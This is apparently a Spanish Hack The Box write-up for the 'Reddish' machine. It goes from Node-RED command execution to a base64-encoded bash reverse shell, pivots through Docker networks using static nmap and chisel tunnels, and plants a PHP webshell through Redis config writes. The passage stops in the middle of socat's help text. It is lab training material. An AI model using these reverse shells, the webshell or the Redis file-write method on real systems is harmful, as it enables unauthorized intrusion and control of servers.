Máquina Reddish Hack the Box
Realizamos un reconocimiento de los servicios que está corriendo esta máquina y vemos que cuenta al parecer con un servicio http en el puerto 1880
┌─[root@parrot]─[/mnt/angussMoody/Machines/Reddish]
└──╼ #nmap -sCV -p1880 -o nmap 10.129.224.78
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-19 16:12 -05
Nmap scan report for 10.129.224.78
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
1880/tcp open http Node.js Express framework
|_http-title: Error
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.10 seconds
Revisando el servicio en el navegador, nos da un mensaje que no soporta el método GET
Esto nos da a pensar que tal vez por otro método si nos responda con alguna información y vemos que si interceptamos el tráfico y realizamos un cambio del método GET por el POST, nos trae una data
Este procedimiento también podemos realizar con la herramenta cURL y nos da los mismos resultados
┌─[✗]─[root@parrot]─[/mnt/angussMoody/Machines/Reddish]
└──╼ #curl -X POST http://10.129.224.78:1880/
{"id":"c8e9dfbff65daffd264fad9e2df75324","ip":"::ffff:10.10.14.116","path":"/red/{id}"}
Con la Utilidad jq podríamos ver de forma más clara la respuesta
┌─[root@parrot]─[/home/angussmoody]
└──╼ #curl -s -X POST http://10.129.224.78:1880/ | jq
{
"id": "c8e9dfbff65daffd264fad9e2df75324",
"ip": "::ffff:10.10.14.116",
"path": "/red/{id}"
}
Leyendo el resultado tanto del cURL como el de Burp, no da al parecer un ejemplo para cargar la pagina, con el path /red/{id} así que vamos a ver que nos devuelve realizándolo de esta manera, vemos que nos carga una web de Node-RED que debemos enumerar
Después de Enumerar un rato pasamos a investigar un poco y nos encontramos con este articulo que nos dice una forma de realizar un RCE en la aplicación https://quentinkaiser.be/pentesting/2018/09/07/node-red-rce/ así que vamos a realizar una prueba para realizar un ping a nuestra máquina, de la forma que nos muestra el articulo
Ponemos la cadena como nos indica el articulo, abrimos el exec y ponemos el comando, en este caso vamos a realizar la prueba con un ping a nuestra máquina y quitamos el check del msg.payload y le damos en Done
Luego le damos en Deploy y finalmente en el disparador, para ver si nos ejecuta el comando, pero antes de esto debemos tener nuestra máquina a la escucha, con tcpdump
┌─[root@parrot]─[/mnt/angussMoody/Machines/Reddish]
└──╼ #tcpdump -i tun0 icmp
![2021-09-19 1741_39-ParrotOS - VMware Workstation.png](/assets/images/2022-05-10-Reddish/2021-09-19_17_41_39-ParrotOS-_VMware_Workstation.png)
Después de ejecutar el comando vemos que este nos devuelve con un ping a nuestra máquina como lo esperábamos
┌─[root@parrot]─[/mnt/angussMoody/Machines/Reddish]
└──╼ #tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
17:40:17.222810 IP 10.129.224.78 > 10.10.14.116: ICMP echo request, id 35, seq 1, length 64
17:40:17.222840 IP 10.10.14.116 > 10.129.224.78: ICMP echo reply, id 35, seq 1, length 64
17:40:18.224023 IP 10.129.224.78 > 10.10.14.116: ICMP echo request, id 35, seq 2, length 64
17:40:18.224042 IP 10.10.14.116 > 10.129.224.78: ICMP echo reply, id 35, seq 2, length 64
Ahora que sabemos que nos está interpretando código, podemos tratar de realizar una Reverse Shell y podemos tratar de hacerlo con esta pagina https://www.revshells.com/ Después de Intentar de varias maneras, vamos a realizar el proceso encodeando el payload en base 64 para ver si de esta manera nos lo interpreta
Así que en el comando vamos a hacerlo de esta manera
echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjExNi80NDMgMD4mMQ== | base64 -d | bash
no sin antes poner nuestra máquina a la escucha y ejecutamos igual que cómo lo realizamos con nuestra prueba al realizar un Ping y vemos que nos devuelve una Reverse Shell, como root, pero no es de nuestra máquina, si no de otra máquina llamada nodered
┌─[root@parrot]─[/mnt/angussMoody/Machines/Reddish]
└──╼ #rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.116] from (UNKNOWN) [10.129.224.78] 57796
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
id && whoami && hostname
id && whoami && hostname
uid=0(root) gid=0(root) groups=0(root)
root
nodered
root@nodered:/node-red#
Vamos a realizar un tratamiendo, para que tengamos una Shell Interactiva, en este caso lo vamos a hacer con bash
┌─[root@parrot]─[/mnt/angussMoody/Shell]
└──╼ #cat bashshelllcompleta.txt
───────┬──────────────────────────────────────────────────────────────────────────
│ File: bashshelllcompleta.txt
───────┼──────────────────────────────────────────────────────────────────────────
1 │ script /dev/null -c bash
2 │
3 │ ctrl + z
4 │
5 │ stty raw -echo;fg
6 │
7 │ reset
8 │
9 │ xterm
10 │
11 │ export TERM=xterm
12 │
13 │ SHELL=bash
14 │
15 │ stty rows 44 cols 166
Cómo sabemos que no es estamos en la máquina que debemos explotar, vamos a realizar una enumeración a la raiz para ver con que nos encontramos y vemos que estamos dentro de un docker
ls -la /
ls -la /
total 76
drwxr-xr-x 1 root root 4096 Jul 15 2018 .
drwxr-xr-x 1 root root 4096 Jul 15 2018 ..
-rwxr-xr-x 1 root root 0 May 4 2018 .dockerenv
drwxr-xr-x 1 root root 4096 Jul 15 2018 bin
drwxr-xr-x 2 root root 4096 Jul 15 2018 boot
drwxr-xr-x 5 root root 340 Sep 19 20:53 dev
drwxr-xr-x 1 root root 4096 Jul 15 2018 etc
drwxr-xr-x 1 root root 4096 Jul 15 2018 home
drwxr-xr-x 1 root root 4096 Jul 15 2018 lib
drwxr-xr-x 2 root root 4096 Jul 15 2018 lib64
drwxr-xr-x 2 root root 4096 Jul 15 2018 media
drwxr-xr-x 2 root root 4096 Jul 15 2018 mnt
drwxr-xr-x 1 root root 4096 Sep 19 21:13 node-red
drwxr-xr-x 1 root root 4096 Jul 15 2018 opt
dr-xr-xr-x 193 root root 0 Sep 19 20:53 proc
drwx------ 1 root root 4096 Jul 15 2018 root
drwxr-xr-x 3 root root 4096 Jul 15 2018 run
drwxr-xr-x 2 root root 4096 Jul 15 2018 sbin
drwxr-xr-x 2 root root 4096 Jul 15 2018 srv
dr-xr-xr-x 13 root root 0 Sep 19 20:53 sys
drwxrwxrwt 1 root root 4096 Sep 19 22:50 tmp
drwxr-xr-x 1 root root 4096 Jul 15 2018 usr
drwxr-xr-x 1 root root 4096 Jul 15 2018 var
root@nodered:/node-red#
Si le damos un cat al archivo hosts vemos la dirección ip que responde a esta docker
cat /etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.18.0.2 nodered
172.19.0.4 nodered
Vamos a ver la ip
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
11: eth0@if12: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0
valid_lft forever preferred_lft forever
17: eth1@if18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:13:00:04 brd ff:ff:ff:ff:ff:ff
inet 172.19.0.4/16 brd 172.19.255.255 scope global eth1
valid_lft forever preferred_lft forever
Ahora que sabemos que tenemos estos 2 segmentos de red, podemos hacer un barrido para ver que ips nos devuelven una conexión y saber que equipos están arriba, lo podemos hacer con el siguiente script
for i in {1..255}; do (ping -c 1 -W 1 172.18.0.$i | grep 'from' &); done
Y esto nos devuelve los siguientes resultados
root@nodered:/node-red# for i in {1..255}; do ping -c 1 -W 1 172.18.0.$i | grep 'from'; done
64 bytes from 172.18.0.1: icmp_seq=1 ttl=64 time=0.066 ms
64 bytes from 172.18.0.2: icmp_seq=1 ttl=64 time=0.028 ms
Ahora realizamos el mismo procedimiento pero con el otro segmento de red y tenemos estos resultados
I
root@nodered:/node-red# for i in {1..255}; do (ping -c 1 -W 1 172.19.0.$i | grep 'from' &); done
64 bytes from 172.19.0.1: icmp_seq=1 ttl=64 time=0.156 ms
64 bytes from 172.19.0.2: icmp_seq=1 ttl=64 time=0.125 ms
64 bytes from 172.19.0.3: icmp_seq=1 ttl=64 time=0.106 ms
64 bytes from 172.19.0.4: icmp_seq=1 ttl=64 time=0.033 ms
Recordamos cuales son nuestras Ips
root@nodered:/node-red# hostname -I
172.18.0.2 172.19.0.4
Ya tenemos unos equipos con respuestas, así que podríamos ver que servicios tienen estos equipos, pero como la máquina no tiene nmap instalado, ni lo podemos instalar vamos a usarlo de forma estática y podemos encontrar barios binarios en este git https://github.com/andrew-d/static-binaries/tree/master/binaries/linux/x86_64 entre ellos el nmap, nos descargamos este binario y lo pasamos a la máquina victima, en este caso lo vamos a realizar con nc y al finalizar le damos con md5sum para ver que sea el mismo
[root@parrot]─[/mnt/angussMoody/Machines/Reddish]
└──╼ #ll nmap
Permissions Size User Date Modified Name
.rwxrwxrwx 5,9M angussmoody 19 sep 19:41 nmap
┌─[root@parrot]─[/mnt/angussMoody/Machines/Reddish]
└──╼ #nc -nlvp 80 < nmap
listening on [any] 80 ...
connect to [10.10.14.116] from (UNKNOWN) [10.129.224.78] 42190
┌─[root@parrot]─[/mnt/angussMoody/Machines/Reddish]
└──╼ #md5sum nmap
99d1b866c3eb7dd11a84829abb5a6758 nmap
root@nodered:/tmp# cat < /dev/tcp/10.10.14.116/80 > nmap
^C
root@nodered:/tmp# md5sum nmap
99d1b866c3eb7dd11a84829abb5a6758 nmap
Ahora que tenemos el binario, vamos a darle permisos de ejecución y probar a ver con que nos encontramos
root@nodered:/tmp# chmod +x nmap
root@nodered:/tmp# ./nmap
Nmap 6.49BETA1 ( http://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
-iL <inputfilename>: Input from list of hosts/networks
-iR <num hosts>: Choose random targets
--exclude <host1[,host2][,host3],...>: Exclude hosts/networks
--excludefile <exclude_file>: Exclude list from file
HOST DISCOVERY:
-sL: List Scan - simply list targets to scan
-sn: Ping Scan - disable port scan
-Pn: Treat all hosts as online -- skip host discovery
-PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
-PO[protocol list]: IP Protocol Ping
-n/-R: Never do DNS resolution/Always resolve [default: sometimes]
--dns-servers <serv1[,serv2],...>: Specify custom DNS servers
--system-dns: Use OS's DNS resolver
--traceroute: Trace hop path to each host
SCAN TECHNIQUES:
-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
-sU: UDP Scan
-sN/sF/sX: TCP Null, FIN, and Xmas scans
--scanflags <flags>: Customize TCP scan flags
-sI <zombie host[:probeport]>: Idle scan
-sY/sZ: SCTP INIT/COOKIE-ECHO scans
-sO: IP protocol scan
-b <FTP relay host>: FTP bounce scan
PORT SPECIFICATION AND SCAN ORDER:
-p <port ranges>: Only scan specified ports
Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
--exclude-ports <port ranges>: Exclude the specified ports from scanning
-F: Fast mode - Scan fewer ports than the default scan
-r: Scan ports consecutively - don't randomize
--top-ports <number>: Scan <number> most common ports
--port-ratio <ratio>: Scan ports more common than <ratio>
SERVICE/VERSION DETECTION:
-sV: Probe open ports to determine service/version info
--version-intensity <level>: Set from 0 (light) to 9 (try all probes)
--version-light: Limit to most likely probes (intensity 2)
--version-all: Try every single probe (intensity 9)
--version-trace: Show detailed version scan activity (for debugging)
SCRIPT SCAN:
-sC: equivalent to --script=default
--script=<Lua scripts>: <Lua scripts> is a comma separated list of
directories, script-files or script-categories
--script-args=<n1=v1,[n2=v2,...]>: provide arguments to scripts
--script-args-file=filename: provide NSE script args in a file
--script-trace: Show all data sent and received
--script-updatedb: Update the script database.
--script-help=<Lua scripts>: Show help about scripts.
<Lua scripts> is a comma-separated list of script-files or
script-categories.
OS DETECTION:
-O: Enable OS detection
--osscan-limit: Limit OS detection to promising targets
--osscan-guess: Guess OS more aggressively
TIMING AND PERFORMANCE:
Options which take <time> are in seconds, or append 'ms' (milliseconds),
's' (seconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).
-T<0-5>: Set timing template (higher is faster)
--min-hostgroup/max-hostgroup <size>: Parallel host scan group sizes
--min-parallelism/max-parallelism <numprobes>: Probe parallelization
--min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>: Specifies
probe round trip time.
--max-retries <tries>: Caps number of port scan probe retransmissions.
--host-timeout <time>: Give up on target after this long
--scan-delay/--max-scan-delay <time>: Adjust delay between probes
--min-rate <number>: Send packets no slower than <number> per second
--max-rate <number>: Send packets no faster than <number> per second
FIREWALL/IDS EVASION AND SPOOFING:
-f; --mtu <val>: fragment packets (optionally w/given MTU)
-D <decoy1,decoy2[,ME],...>: Cloak a scan with decoys
-S <IP_Address>: Spoof source address
-e <iface>: Use specified interface
-g/--source-port <portnum>: Use given port number
--proxies <url1,[url2],...>: Relay connections through HTTP/SOCKS4 proxies
--data <hex string>: Append a custom payload to sent packets
--data-string <string>: Append a custom ASCII string to sent packets
--data-length <num>: Append random data to sent packets
--ip-options <options>: Send packets with specified ip options
--ttl <val>: Set IP time-to-live field
--spoof-mac <mac address/prefix/vendor name>: Spoof your MAC address
--badsum: Send packets with a bogus TCP/UDP/SCTP checksum
OUTPUT:
-oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3,
and Grepable format, respectively, to the given filename.
-oA <basename>: Output in the three major formats at once
-v: Increase verbosity level (use -vv or more for greater effect)
-d: Increase debugging level (use -dd or more for greater effect)
--reason: Display the reason a port is in a particular state
--open: Only show open (or possibly open) ports
--packet-trace: Show all packets sent and received
--iflist: Print host interfaces and routes (for debugging)
--append-output: Append to rather than clobber specified output files
--resume <filename>: Resume an aborted scan
--stylesheet <path/URL>: XSL stylesheet to transform XML output to HTML
--webxml: Reference stylesheet from Nmap.Org for more portable XML
--no-stylesheet: Prevent associating of XSL stylesheet w/XML output
MISC:
-6: Enable IPv6 scanning
-A: Enable OS detection, version detection, script scanning, and traceroute
--datadir <dirname>: Specify custom Nmap data file location
--send-eth/--send-ip: Send using raw ethernet frames or IP packets
--privileged: Assume that the user is fully privileged
--unprivileged: Assume the user lacks raw socket privileges
-V: Print version number
-h: Print this help summary page.
EXAMPLES:
nmap -v -A scanme.nmap.org
nmap -v -sn 192.168.0.0/16 10.0.0.0/8
nmap -v -iR 10000 -Pn -p 80
SEE THE MAN PAGE (http://nmap.org/book/man.html) FOR MORE OPTIONS AND EXAMPLES
Vamos a hacer la prueba con una de nuestras Ips para ver si nos funciona el nmap, pero vemos que nos sale un error
root@nodered:/tmp# ./nmap -p- --min-rate 3000 172.18.0.2
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2021-09-20 01:04 UTC
Unable to find nmap-services! Resorting to /etc/services
Unable to open /etc/services for reading service information
QUITTING!
Para resolver este error debemos copiarnos nuestro archivo services que se encuentra en /etc/ y vamos a realizarlo con el mismo procedimiento con nc
┌─[root@parrot]─[/etc]
└──╼ #ll services
Permissions Size User Date Modified Name
.rw-r--r-- 12k root 27 mar 17:32 services
┌─[root@parrot]─[/etc]
└──╼ #nc -nlvp 80 < services
listening on [any] 80 ...
connect to [10.10.14.116] from (UNKNOWN) [10.129.224.78] 42224
┌─[root@parrot]─[/etc]
└──╼ #md5sum services
3975f0d8c4e1ecb25f035edfb1ba27ac services
root@nodered:/etc# cat < /dev/tcp/10.10.14.116/80 > services
^C
root@nodered:/etc# md5sum services
3975f0d8c4e1ecb25f035edfb1ba27ac services
Ahora vamos a realizar de nuevo la prueba con el nmap y vemos que ahora si nos responde
root@nodered:/tmp# ./nmap -p- -Pn -sS --min-rate 5000 172.18.0.2
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2021-09-20 01:19 UTC
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for nodered (172.18.0.2)
Host is up (0.000028s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
1880/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 10.20 seconds
Ahora vamos a pasarnos un archivo con las Ips de las máquinas para realizar el escaneo de estas y esta vez vamos a realizarlo por medio de base64, lo primero que hacemos es pasar el archivo a base64 y copiarlo con la herramienta xclip
┌─[root@parrot]─[/mnt/angussMoody/Machines/Reddish]
└──╼ #base64 -w 0 ips | xclip -sel clip
Ahora con un echo vamos a pasarlo a la máquina
root@nodered:/tmp# echo "MTcyLjE4LjAuMQoxNzIuMTguMC4yCjE3Mi4xOS4wLjEKMTcyLjE5LjAuMgoxNzIuMTkuMC4zCjE3Mi4xOS4wLjQK" | base64 -d > ips
root@nodered:/tmp# cat ips
172.18.0.1
172.18.0.2
172.19.0.1
172.19.0.2
172.19.0.3
172.19.0.4
Y vamos a ejecutar el nmap con todas las direcciones
root@nodered:/tmp# ./nmap -iL ips -p- -Pn -sS --min-rate 5000
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2021-09-20 01:30 UTC
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.18.0.1
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.000012s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
1880/tcp open unknown
MAC Address: 02:42:8D:B1:E8:28 (Unknown)
Nmap scan report for nodered (172.18.0.2)
Host is up (0.000013s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
1880/tcp open unknown
Nmap scan report for 172.19.0.1
Host is up (0.000019s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
1880/tcp filtered unknown
MAC Address: 02:42:F6:87:B4:04 (Unknown)
Nmap scan report for reddish_composition_redis_1.reddish_composition_internal-network (172.19.0.2)
Host is up (0.000019s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
6379/tcp open redis
MAC Address: 02:42:AC:13:00:02 (Unknown)
Nmap scan report for reddish_composition_www_1.reddish_composition_internal-network (172.19.0.3)
Host is up (0.000022s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
80/tcp open http
MAC Address: 02:42:AC:13:00:03 (Unknown)
Nmap scan report for nodered (172.19.0.4)
Host is up (0.000015s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
1880/tcp open unknown
Nmap done: 6 IP addresses (6 hosts up) scanned in 138.47 seconds
Nos descargamos el chisel de https://github.com/jpillora/chisel y hacemos el proceso para compilarlo
┌─[root@parrot]─[/mnt/angussMoody/Scripts/chisel]
└──╼ #go build .
┌─[root@parrot]─[/mnt/angussMoody/Scripts/chisel]
└──╼ #du -hc chisel
12M chisel
12M total
┌─[root@parrot]─[/mnt/angussMoody/Scripts/chisel]
└──╼ #go build -ldflags "-s -w" .
┌─[root@parrot]─[/mnt/angussMoody/Scripts/chisel]
└──╼ #du -hc chisel
8,4M chisel
8,4M total
┌─[root@parrot]─[/mnt/angussMoody/Scripts/chisel]
└──╼ #upx brute chisel
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2020
UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020
File size Ratio Format Name
-------------------- ------ ----------- -----------
upx: brute: FileNotFoundException: brute: No such file or directory
8785920 -> 3286924 37.41% linux/amd64 chisel
Packed 1 file.
┌─[✗]─[root@parrot]─[/mnt/angussMoody/Scripts/chisel]
└──╼ #du -hc chisel
3,2M chisel
3,2M total
┌─[root@parrot]─[/mnt/angussMoody/Scripts/chisel]
└──╼ #./chisel
Usage: chisel [command] [--help]
Version: 0.0.0-src (go1.15.9)
Commands:
server - runs chisel in server mode
client - runs chisel in client mode
Read more:
https://github.com/jpillora/chisel
Cómo tenemos unos puertos remotos, podemos tratar de realizar un port forwarding con esos servicios y vamos a tratar de realizarlo con chisel, así que vamos a pasar este binario a la máquina victima para realizar este puente
┌─[root@parrot]─[/mnt/angussMoody/Scripts]
└──╼ #ls chisel
chisel
┌─[root@parrot]─[/mnt/angussMoody/Scripts]
└──╼ #nc -nlvp 80 < chisel
listening on [any] 80 ...
connect to [10.10.14.118] from (UNKNOWN) [10.129.224.218] 52006
┌─[root@parrot]─[/mnt/angussMoody/Scripts]
└──╼ #md5sum chisel
58037ef897ec155a03ea193df4ec618a chisel
root@nodered:/tmp# cat > chisel < /dev/tcp/10.10.14.118/80
^C
root@nodered:/tmp# md5sum chisel
58037ef897ec155a03ea193df4ec618a chisel
Ahora le damos permisos de ejecución y vemos si nos está respondiendo el binario y vemos que este responde bien
root@nodered:/tmp# chmod +x chisel
root@nodered:/tmp# ./chisel
Usage: chisel [command] [--help]
Version: 1.7.6 (go1.16rc1)
Commands:
server - runs chisel in server mode
client - runs chisel in client mode
Read more:
https://github.com/jpillora/chisel
El primer paso para realizar este port forwarding es crearnos un servicio en nuestra máquina con el binario
┌─[root@parrot]─[/mnt/angussMoody/Scripts]
└──╼ #./chisel server --reverse -p 8000
2021/09/20 18:05:05 server: Reverse tunnelling enabled
2021/09/20 18:05:05 server: Fingerprint z1ijnwoeiVABd6Lg4srMvt5bVbVZ/tpkK8tkw8ZIGPA=
2021/09/20 18:05:05 server: Listening on http://0.0.0.0:8000
Y el segundo paso es crearnos el cliente el la máquina victima
root@nodered:/tmp# ./chisel client 10.10.14.118:8000 R:127.0.0.1:6379:172.19.0.2:6379 R:127.0.0.1:80:172.19.0.3:80
2021/09/20 23:10:11 client: Connecting to ws://10.10.14.118:8000
2021/09/20 23:10:12 client: Connected (Latency 157.499768ms)
Ahora vamos a revisar en nuestro localhost para ver si nos trae el servicio de la máquina victima y vemos que nos carga una web
Vamos a realizar un escaneo con nmap para tener más información de los puertos a nuestro localhost porque ya los tenemos con el tunel, este nos devuelve el servicio http y el servicio redis
┌─[root@parrot]─[/mnt/angussMoody/Machines/Reddish]
└──╼ #nmap -sCV -p80,6379 -o nmapremoto 127.0.0.1
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-20 18:15 -05
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0014s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Reddish
6379/tcp open redis Redis key-value store 4.0.9
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.66 seconds
El servicio redis ya lo habíamos explotado en otra máquina llamada Postman que tenemos el writeup en este link https://angussmoody.github.io/postman.html así que vamos a tomar el concepto del articulo https://packetstormsecurity.com/files/134200/Redis-Remote-Command-Execution.html pero en vez de crearnos una llave, vamos a subirnos una webshell
┌─[root@parrot]─[/mnt/angussMoody/Machines/Reddish]
└──╼ #cat cmd.php
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: cmd.php
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ <?php
2 │ echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
3 │ ?>
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Lo primero que debemos realizar es instalar redis-tools
┌─[root@parrot]─[/mnt/angussMoody/Machines/Reddish]
└──╼ #apt install redis-tools
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias... Hecho
Leyendo la información de estado... Hecho
Viendo el código fuente, nos encontramos con una Url
Que nos responde al consultarla
Entonces vamos a tratar de subir nuestra webshell a este directorio asumiendo que está en /var/www/html/8924d0549008565c554f8128cd11fda4 con los comandos que nos dice el articulo
┌─[root@parrot]─[/mnt/angussMoody/Machines/Reddish]
└──╼ #redis-cli -h 127.0.0.1 flushall
OK
┌─[root@parrot]─[/mnt/angussMoody/Machines/Reddish]
└──╼ #cat cmd.php | redis-cli -h 127.0.0.1 -x set crackit
OK
┌─[root@parrot]─[/mnt/angussMoody/Machines/Reddish]
└──╼ #redis-cli -h 127.0.0.1 config set dir /var/www/html/8924d0549008565c554f8128cd11fda4/
OK
┌─[root@parrot]─[/mnt/angussMoody/Machines/Reddish]
└──╼ #redis-cli -h 127.0.0.1 config set dbfilename "cmd.php"
OK
┌─[root@parrot]─[/mnt/angussMoody/Machines/Reddish]
└──╼ #redis-cli -h 127.0.0.1 save
OK
Probamos que nuestro cmd.php este subido y vemos que este nos responde L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0Ljc3LzQ0MyAwPiYxL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0Ljc3LzQ0MyAwPiYx
Pero vemos que nos borra el archivo muy rápido, así que vamos crearnos un script en bash para que nos suba el archivo fácilmente
┌─[root@parrot]─[/mnt/angussMoody/Machines/Reddish]
└──╼ #cat uploadredis.sh
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: uploadredis.sh
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ #!/bin/bash
2 │
3 │ redis-cli -h 127.0.0.1 flushall
4 │ cat cmd.php | redis-cli -h 127.0.0.1 -x set crackit
5 │ redis-cli -h 127.0.0.1 config set dir /var/www/html/8924d0549008565c554f8128cd11fda4/
6 │ redis-cli -h 127.0.0.1 config set dbfilename "cmd.php"
7 │ redis-cli -h 127.0.0.1 save
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Vamos a ver en que host estamos y vemos el host y un nuevo segmento de red
Cómo esta máquina no tiene conexión con la nuestra debemos encontrar la forma de realizar un puente o alguna conexión y vamos a tratar de tenerla con el binario socat que lo podemos encontrar en el github de binarios estáticos https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat Nos descargamos este binario y con nc como lo hemos realizado con nmap y demás archivos subidos a la máquina, nos compartimos el socat, le damos permisos y lo ejecutamos
root@nodered:/tmp# chmod +x socat
root@nodered:/tmp#
root@nodered:/tmp# ./socat
2021/09/21 01:36:36 socat[90] E exactly 2 addresses required (there are 0); use option "-h" for help
root@nodered:/tmp# ./socat -h
socat by Gerhard Rieger - see www.dest-unreach.org
Usage:
socat [options] <bi-address> <bi-address>
options:
-V print version and feature information to stdout, and exit
-h|-? print a help text describing command line options and addresses
-hh like -h, plus a list of all common address option names
-hhh like -hh, plus a list of all available address option names
-d increase verbosity (use up to 4 times; 2 are recommended)
-D analyze file descriptors before loop
-ly[facility] log to syslog, using facility (default is daemon)
-lf<logfile> log to file
-ls log to stderr (default if no other log)
-lm[facility] mixed log mode (stderr during initialization, then syslog)
-lp<progname> set the program name used for logging
-lu use microseconds for logging timestamps
-lh add hostname to log messages
-v verbose data traffic, text
-x verbose data traffic, hexadecimal
-b<size_t> set data buffer size (8192)
-s sloppy (continue on error)
-t<timeout> wait seconds before closing second channel
-T<timeout> total inactivity timeout in seconds
-u unidirectional mode (left to right)
-U unidirectional mode (right to left)
-g do not check option groups
-L <lockfile> try to obtain lock, or fail
-W <lockfile> try to obtain lock, or wait
-4 prefer IPv4 if version is not explicitly specified
-6 prefer IPv6 if version is not explicitly specified
bi-address:
pipe[,<opts>] groups=FD,FIFO
<single-address>!!<single-address>
<single-address>
single-address:
<address-head>[,<opts>]
address-head:
abstract-client:<filename> groups=FD,SOCKET,RETRY,UNIX
abstract-connect:<filename> groups=FD,SOCKET,RETRY,UNIX
abstract-listen:<filename> groups=FD,SOCKET,LISTEN,CHILD,RETRY,UNIX
abstract-recv:<filename> groups=FD,SOCKET,RETRY,UNIX
abstract-recvfrom:<filename> groups=FD,SOCKET,CHILD,RETRY,UNIX
abstract-sendto:<filename> groups=FD,SOCKET,RETRY,UNIX
create:<filename> groups=FD,REG,NAMED
exec:<command-line> groups=FD,FIFO,SOCKET,EXEC,FORK,TERMIOS,PTY,PARENT,UNIX
fd:<num> groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
gopen:<filename> groups=FD,FIFO,CHR,BLK,REG,SOCKET,NAMED,OPEN,TERMIOS,UNIX
interface:<interface> groups=FD,SOCKET
ip-datagram:<host>:<protocol> groups=FD,SOCKET,RANGE,IP4,IP6
ip-recv:<protocol> groups=FD,SOCKET,RANGE,IP4,IP6
ip-recvfrom:<protocol> groups=FD,SOCKET,CHILD,RANGE,IP4,IP6
ip-sendto:<host>:<protocol> groups=FD,SOCKET,IP4,IP6
ip4-datagram:<host>:<protocol> groups=FD,SOCKET,RANGE,IP4
ip4-recv:<protocol> groups=FD,SOCKET,RANGE,IP4
ip4-recvfrom:<protocol> groups=FD,SOCKET,CHILD,RANGE,IP4
ip4-sendto:<host>:<protocol> groups=FD,SOCKET,IP4
ip6-datagram:<host>:<protocol> groups=FD,SOCKET,RANGE,IP6
ip6-recv:<protocol> groups=FD,SOCKET,RANGE,IP6
ip6-recvfrom:<protocol> groups=FD,SOCKET,CHILD,RANGE,IP6
ip6-sendto:<host>:<protocol> groups=FD,SOCKET,IP6
open:<filename> groups=FD,FIFO,CHR,BLK,REG,NAMED,OPEN,TERMIOS
pipe:<filename> groups=FD,FIFO,NAMED,OPEN
proxy:<proxy-server>:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,HTTP
